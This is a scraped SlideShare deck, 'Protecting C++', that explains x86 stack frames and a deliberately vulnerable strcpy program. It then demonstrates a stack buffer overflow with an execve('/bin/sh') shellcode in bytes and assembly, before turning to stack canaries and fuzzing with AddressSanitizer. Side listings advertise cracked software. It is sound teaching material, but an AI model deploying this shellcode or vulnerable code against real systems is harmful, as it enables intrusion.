SlideShare a Scribd company logo
Protecting C++
Protecting C++
•
•
•
•
•
•
Protecting C++
Protecting C++
Protecting C++
int gcd(int a, int b)
{
while (b) {
int r = a % b;
a = b;
b = r;
}
return a;
}
gcd:
push ebp
mov ebp, esp
sub esp, 16
jmp .L2
.L3:
mov eax, [ebp+8]
cdq
idiv [ebp+12]
mov [ebp-4], edx
mov eax, [ebp+12]
mov [ebp+8], eax
mov eax, [ebp-4]
mov [ebp+12], eax
.L2:
cmp [ebp+12], 0
jne .L3
mov eax, [ebp+8]
leave
ret
Address Machine Codes
00000000 6655
00000002 6689E5
00000005 6683EC10
00000009 EB25
0000000B 66678B4508
00000010 6699
00000012 6667F77D0C
00000017 66678955FC
0000001C 66678B450C
00000021 6667894508
00000026 66678B45FC
0000002B 666789450C
00000030 6667837D0C00
00000036 75D3
00000038 66678B4508
0000003D C9
0000003E C3
gcd:
push ebp
mov ebp, esp
sub esp, 16
jmp .L2
.L3:
mov eax, [ebp+8]
cdq
idiv [ebp+12]
mov [ebp-4], edx
mov eax, [ebp+12]
mov [ebp+8], eax
mov eax, [ebp-4]
mov [ebp+12], eax
.L2:
cmp [ebp+12], 0
jne .L3
mov eax, [ebp+8]
leave
ret
Protecting C++
push 169
push 39
call gcd
add esp, 8
169
39
return address
gcd:
push ebp
mov ebp, esp
sub esp, 16
jmp .L2
.L3:
mov eax, [ebp+8]
cdq
idiv [ebp+12]
mov [ebp-4], edx
;…
.L2:
cmp [ebp+12], 0
jne .L3
mov eax, [ebp+8]
leave
ret
saved ebp
r
ebp-4
ebp
ebp+8
ebp+12
ebp+4
esp
Protecting C++
const size_t BUFF_SIZE = 80;
void greetings(const char* str) {
char name[BUFF_SIZE];
strcpy(name, str);
printf("Hello, %sn", name);
}
int main(int argc, char* argv[]) {
greetings(argv[1]);
return 0;
}
Protecting C++
void greetings(const char* str)
{
char name[BUFF_SIZE];
strcpy(name, str);
printf("Hello, %sn", name);
}
greetings(char const*):
push ebp
mov ebp, esp
sub esp, 104
mov eax, [ebp+8]
mov [esp+4], eax
lea eax, [ebp-88]
mov [esp], eax
call strcpy
lea eax, [ebp-88]
mov [esp+4], eax
mov [esp], OFFSET FLAT:.LC0
call printf
leave
ret
greetings(char const* str):
push ebp
mov ebp, esp
sub esp, 104
mov eax, [ebp+8]
mov [esp+4], eax
lea eax, [ebp-88]
mov [esp], eax
call strcpy
lea eax, [ebp-88]
mov [esp+4], eax
mov [esp], OFFSET FLAT:.LC0
call printf
leave
ret
return address
saved ebp
str
ebp
ebp-88
ebp+4
ebp+8
A A A A
A A A A
A A A A
A A A A
A A A A
A A A A
esp
greetings(char const* str):
push ebp
mov ebp, esp
sub esp, 104
mov eax, [ebp+8]
mov [esp+4], eax
lea eax, [ebp-88]
mov [esp], eax
call strcpy
lea eax, [ebp-88]
mov [esp+4], eax
mov [esp], OFFSET FLAT:.LC0
call printf
leave
ret
return address
saved ebp
str
ebp
ebp-88
ebp+4
ebp+8
0x315913EB
0x3104B0C0
0xD23143DB
0x90909090
0x90909090
ebp-88
esp
Address Machine code
----------------------
00000000 EB13
00000002 59
00000003 31C0
00000005 B004
00000007 31DB
00000009 43
0000000A 31D2
0000000C B214
0000000E CD80
00000010 B001
00000012 4B
00000013 CD80
00000015 E8E8FFFFFF
0000001A 596F75277665206265
00000023 656E206861636B6564210A
Assembly
------------------
jmp short L1
L2:
; ssize_t write(int fd, const void* buf, size_t count)
pop ecx ; get return address from stack
xor eax, eax ; eax = 0
mov al, 4
xor ebx, ebx ; ebx = 0
inc ebx ; ++ebx
xor edx, edx ; edx = 0
mov dl, 20
int 0x80
; void _exit(int status)
mov al, 1
dec ebx ; ebx = 0
int 0x80
L1:
call L2 ; store following address on stack
db "You've be"
db "en hacked!", 10
� �� � Ҳ̀� ̀�����
���������������������������������������
Address Machine Code
----------------------
00000000 EB16
00000002 5B
00000003 31C0
00000005 884307
00000008 895B08
0000000B 89430C
0000000E 8D4B08
00000011 8D530C
00000014 B00B
00000016 CD80
00000018 E8E5FFFFFF
0000001D 2F62696E2F736858
00000025 4141414142424242
Assembly
---------------
jmp short L1
L2:
; int execve(const char *filename, char *const argv[]
, char *const envp[])
pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
mov al, 11
int 0x80
L1:
call L2
db '/bin/shX’
db ‘AAAABBBB'
� �� ��
��
�
̀����� �������������
��������������������������������
������
Protecting C++
� �� ��
��
�
̀����� ������
�������������������������
���������������� ���
0x90909090
0x90909090
0x80482f0
int main() {
system();
}
ebp
ebp-88 /bin/sh
ebp-88
FAKE
ebp+4
return address
str
Protecting C++
void foo() {
char buff[80];
printf("buff: %pn", buff);
}
int main() {
foo();
}
� �� ��
��
�
̀����� ����������������� ���
greetings(char const* str):
push ebp
mov ebp, esp
sub esp, 104
mov eax, [ebp+8]
mov [esp+4], eax
lea eax, [ebp-88]
mov [esp], eax
call strcpy
lea eax, [ebp-88]
mov [esp+4], eax
mov [esp], OFFSET FLAT:.LC0
call printf
leave
ret
greetings(char const*):
push ebp
mov ebp, esp
sub esp, 120
mov eax, [ebp+8]
mov [ebp-108], eax
mov eax, gs:20
mov [ebp-12], eax
xor eax, eax
mov eax, [ebp-108]
mov [esp+4], eax
lea eax, [ebp-92]
mov [esp], eax
call strcpy
lea eax, [ebp-92]
mov [esp+4], eax
mov [esp], OFFSET FLAT:.LC0
call printf
mov eax, [ebp-12]
xor eax, gs:20
je .L2
call __stack_chk_fail
.L2:
leave
ret
Protecting C++
Protecting C++
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
greetings(reinterpret_cast<const char*>(Data));
return 0;
}
$./hello
=================================================================
==6777==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x602000000011at pc 0x0000004f1c54bp 0x7ffef7cc7ed0 sp 0x7ffef7cc7680
READ of size 2 at 0x602000000011thread T0
#0 0x4f1c53in __interceptor_strcpy.part.262 (/root/a.out+0x4f1c53)
#1 0x564251 in greetings(char const*) /root/hello.cpp:12:5
#2 0x564370 in LLVMFuzzerTestOneInput /root/hello.cpp:18:3
#3 0x43121d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/root/a.out+0x43121d)
Protecting C++
Protecting C++
Protecting C++
Protecting C++

More Related Content

PDF
ESUG15: SS7 Update
PDF
Show Us: SS7 Update
PDF
プログラム実行の話と
OSとメモリの挙動の話
PPTX
PPS
Ecma script 5
PDF
The Ring programming language version 1.5.4 book - Part 77 of 185
PDF
Cilk Plus Parallel Reduction
PDF
Rcpp11 useR2014
ESUG15: SS7 Update
Show Us: SS7 Update
プログラム実行の話と
OSとメモリの挙動の話
Ecma script 5
The Ring programming language version 1.5.4 book - Part 77 of 185
Cilk Plus Parallel Reduction
Rcpp11 useR2014

What's hot (20)

PDF
How to write rust instead of c and get away with it
PDF
R/C++ talk at earl 2014
PDF
When RV Meets CEP (RV 2016 Tutorial)
PDF
Rcpp11 genentech
PDF
Math in V8 is Broken and How We Can Fix It - Athan Reines, Fourier
PDF
Reverse engineering of binary programs for custom virtual machines
PDF
Taller de Mecanica Calsica
ODP
The forgotten art of assembly
PPTX
Programmation pic 16F877
PPT
Whats new in_csharp4
ODP
Exploiting Memory Overflows
PDF
Gpus graal
KEY
サイ本 文
PDF
BeepBeep 3: A declarative event stream query engine (EDOC 2015)
PDF
CL metaprogramming
PDF
Activity Recognition Through Complex Event Processing: First Findings
PPTX
Anti patterns
PDF
Python opcodes
KEY
Coq to Rubyによる証明駆動開発@名古屋ruby会議02
PDF
A "Do-It-Yourself" Specification Language with BeepBeep 3 (Talk @ Dagstuhl 2017)
How to write rust instead of c and get away with it
R/C++ talk at earl 2014
When RV Meets CEP (RV 2016 Tutorial)
Rcpp11 genentech
Math in V8 is Broken and How We Can Fix It - Athan Reines, Fourier
Reverse engineering of binary programs for custom virtual machines
Taller de Mecanica Calsica
The forgotten art of assembly
Programmation pic 16F877
Whats new in_csharp4
Exploiting Memory Overflows
Gpus graal
サイ本 文
BeepBeep 3: A declarative event stream query engine (EDOC 2015)
CL metaprogramming
Activity Recognition Through Complex Event Processing: First Findings
Anti patterns
Python opcodes
Coq to Rubyによる証明駆動開発@名古屋ruby会議02
A "Do-It-Yourself" Specification Language with BeepBeep 3 (Talk @ Dagstuhl 2017)
Ad

Similar to Protecting C++ (20)

PDF
writing self-modifying code and utilizing advanced assembly techniques
PDF
DEF CON 23 - CHRIS DOMAS - REpsych
PDF
reductio [ad absurdum]
PPT
PPTX
PDF
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
PPTX
Basic ASM by @binaryheadache
PDF
Taller practico emu8086_galarraga
PDF
N_Asm Assembly arithmetic instructions (sol)
PDF
Exploitation
PPT
EMBEDDED SYSTEMS 4&5
PDF
How To Beat An Advanced CrackMe
PDF
The walking 0xDEAD
PPT
Chapter Eight(3)
PPTX
C++ and Assembly: Debugging and Reverse Engineering
PDF
NDC TechTown 2023_ Return Oriented Programming an introduction.pdf
PDF
X86 assembly & GDB
PPTX
Intro to reverse engineering owasp
PPTX
Software to the slaughter
writing self-modifying code and utilizing advanced assembly techniques
DEF CON 23 - CHRIS DOMAS - REpsych
reductio [ad absurdum]
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
Basic ASM by @binaryheadache
Taller practico emu8086_galarraga
N_Asm Assembly arithmetic instructions (sol)
Exploitation
EMBEDDED SYSTEMS 4&5
How To Beat An Advanced CrackMe
The walking 0xDEAD
Chapter Eight(3)
C++ and Assembly: Debugging and Reverse Engineering
NDC TechTown 2023_ Return Oriented Programming an introduction.pdf
X86 assembly & GDB
Intro to reverse engineering owasp
Software to the slaughter
Ad

Recently uploaded (20)

PDF
17 Powerful Integrations Your Next-Gen MLM Software Needs
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
PPTX
Computer Software and OS of computer science of grade 11.pptx
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
history of c programming in notes for students .pptx
PPTX
Advanced SystemCare Ultimate Crack + Portable (2025)
PDF
Designing Intelligence for the Shop Floor.pdf
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PDF
iTop VPN 6.5.0 Crack + License Key 2025 (Premium Version)
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
Cost to Outsource Software Development in 2025
PPTX
Transform Your Business with a Software ERP System
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PPTX
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
17 Powerful Integrations Your Next-Gen MLM Software Needs
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
Computer Software and OS of computer science of grade 11.pptx
Design an Analysis of Algorithms II-SECS-1021-03
history of c programming in notes for students .pptx
Advanced SystemCare Ultimate Crack + Portable (2025)
Designing Intelligence for the Shop Floor.pdf
Odoo Companies in India – Driving Business Transformation.pdf
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
iTop VPN Free 5.6.0.5262 Crack latest version 2025
iTop VPN 6.5.0 Crack + License Key 2025 (Premium Version)
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
Cost to Outsource Software Development in 2025
Transform Your Business with a Software ERP System
Navsoft: AI-Powered Business Solutions & Custom Software Development
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Embracing Complexity in Serverless! GOTO Serverless Bengaluru

Protecting C++

  • 7. int gcd(int a, int b) { while (b) { int r = a % b; a = b; b = r; } return a; } gcd: push ebp mov ebp, esp sub esp, 16 jmp .L2 .L3: mov eax, [ebp+8] cdq idiv [ebp+12] mov [ebp-4], edx mov eax, [ebp+12] mov [ebp+8], eax mov eax, [ebp-4] mov [ebp+12], eax .L2: cmp [ebp+12], 0 jne .L3 mov eax, [ebp+8] leave ret
  • 8. Address Machine Codes 00000000 6655 00000002 6689E5 00000005 6683EC10 00000009 EB25 0000000B 66678B4508 00000010 6699 00000012 6667F77D0C 00000017 66678955FC 0000001C 66678B450C 00000021 6667894508 00000026 66678B45FC 0000002B 666789450C 00000030 6667837D0C00 00000036 75D3 00000038 66678B4508 0000003D C9 0000003E C3 gcd: push ebp mov ebp, esp sub esp, 16 jmp .L2 .L3: mov eax, [ebp+8] cdq idiv [ebp+12] mov [ebp-4], edx mov eax, [ebp+12] mov [ebp+8], eax mov eax, [ebp-4] mov [ebp+12], eax .L2: cmp [ebp+12], 0 jne .L3 mov eax, [ebp+8] leave ret
  • 10. push 169 push 39 call gcd add esp, 8 169 39 return address gcd: push ebp mov ebp, esp sub esp, 16 jmp .L2 .L3: mov eax, [ebp+8] cdq idiv [ebp+12] mov [ebp-4], edx ;… .L2: cmp [ebp+12], 0 jne .L3 mov eax, [ebp+8] leave ret saved ebp r ebp-4 ebp ebp+8 ebp+12 ebp+4 esp
  • 12. const size_t BUFF_SIZE = 80; void greetings(const char* str) { char name[BUFF_SIZE]; strcpy(name, str); printf("Hello, %sn", name); } int main(int argc, char* argv[]) { greetings(argv[1]); return 0; }
  • 14. void greetings(const char* str) { char name[BUFF_SIZE]; strcpy(name, str); printf("Hello, %sn", name); } greetings(char const*): push ebp mov ebp, esp sub esp, 104 mov eax, [ebp+8] mov [esp+4], eax lea eax, [ebp-88] mov [esp], eax call strcpy lea eax, [ebp-88] mov [esp+4], eax mov [esp], OFFSET FLAT:.LC0 call printf leave ret
  • 15. greetings(char const* str): push ebp mov ebp, esp sub esp, 104 mov eax, [ebp+8] mov [esp+4], eax lea eax, [ebp-88] mov [esp], eax call strcpy lea eax, [ebp-88] mov [esp+4], eax mov [esp], OFFSET FLAT:.LC0 call printf leave ret return address saved ebp str ebp ebp-88 ebp+4 ebp+8 A A A A A A A A A A A A A A A A A A A A A A A A esp
  • 16. greetings(char const* str): push ebp mov ebp, esp sub esp, 104 mov eax, [ebp+8] mov [esp+4], eax lea eax, [ebp-88] mov [esp], eax call strcpy lea eax, [ebp-88] mov [esp+4], eax mov [esp], OFFSET FLAT:.LC0 call printf leave ret return address saved ebp str ebp ebp-88 ebp+4 ebp+8 0x315913EB 0x3104B0C0 0xD23143DB 0x90909090 0x90909090 ebp-88 esp
  • 17. Address Machine code ---------------------- 00000000 EB13 00000002 59 00000003 31C0 00000005 B004 00000007 31DB 00000009 43 0000000A 31D2 0000000C B214 0000000E CD80 00000010 B001 00000012 4B 00000013 CD80 00000015 E8E8FFFFFF 0000001A 596F75277665206265 00000023 656E206861636B6564210A Assembly ------------------ jmp short L1 L2: ; ssize_t write(int fd, const void* buf, size_t count) pop ecx ; get return address from stack xor eax, eax ; eax = 0 mov al, 4 xor ebx, ebx ; ebx = 0 inc ebx ; ++ebx xor edx, edx ; edx = 0 mov dl, 20 int 0x80 ; void _exit(int status) mov al, 1 dec ebx ; ebx = 0 int 0x80 L1: call L2 ; store following address on stack db "You've be" db "en hacked!", 10
  • 18. � �� � Ҳ̀� ̀����� ���������������������������������������
  • 19. Address Machine Code ---------------------- 00000000 EB16 00000002 5B 00000003 31C0 00000005 884307 00000008 895B08 0000000B 89430C 0000000E 8D4B08 00000011 8D530C 00000014 B00B 00000016 CD80 00000018 E8E5FFFFFF 0000001D 2F62696E2F736858 00000025 4141414142424242 Assembly --------------- jmp short L1 L2: ; int execve(const char *filename, char *const argv[] , char *const envp[]) pop ebx xor eax, eax mov [ebx + 7], al mov [ebx + 8], ebx mov [ebx + 12], eax lea ecx, [ebx + 8] lea edx, [ebx + 12] mov al, 11 int 0x80 L1: call L2 db '/bin/shX’ db ‘AAAABBBB'
  • 20. � �� �� �� � ̀����� ������������� �������������������������������� ������
  • 22. � �� �� �� � ̀����� ������ ������������������������� ���������������� ���
  • 23. 0x90909090 0x90909090 0x80482f0 int main() { system(); } ebp ebp-88 /bin/sh ebp-88 FAKE ebp+4 return address str
  • 25. void foo() { char buff[80]; printf("buff: %pn", buff); } int main() { foo(); }
  • 26. � �� �� �� � ̀����� ����������������� ���
  • 27. greetings(char const* str): push ebp mov ebp, esp sub esp, 104 mov eax, [ebp+8] mov [esp+4], eax lea eax, [ebp-88] mov [esp], eax call strcpy lea eax, [ebp-88] mov [esp+4], eax mov [esp], OFFSET FLAT:.LC0 call printf leave ret greetings(char const*): push ebp mov ebp, esp sub esp, 120 mov eax, [ebp+8] mov [ebp-108], eax mov eax, gs:20 mov [ebp-12], eax xor eax, eax mov eax, [ebp-108] mov [esp+4], eax lea eax, [ebp-92] mov [esp], eax call strcpy lea eax, [ebp-92] mov [esp+4], eax mov [esp], OFFSET FLAT:.LC0 call printf mov eax, [ebp-12] xor eax, gs:20 je .L2 call __stack_chk_fail .L2: leave ret
  • 30. extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { greetings(reinterpret_cast<const char*>(Data)); return 0; } $./hello ================================================================= ==6777==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x602000000011at pc 0x0000004f1c54bp 0x7ffef7cc7ed0 sp 0x7ffef7cc7680 READ of size 2 at 0x602000000011thread T0 #0 0x4f1c53in __interceptor_strcpy.part.262 (/root/a.out+0x4f1c53) #1 0x564251 in greetings(char const*) /root/hello.cpp:12:5 #2 0x564370 in LLVMFuzzerTestOneInput /root/hello.cpp:18:3 #3 0x43121d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/root/a.out+0x43121d)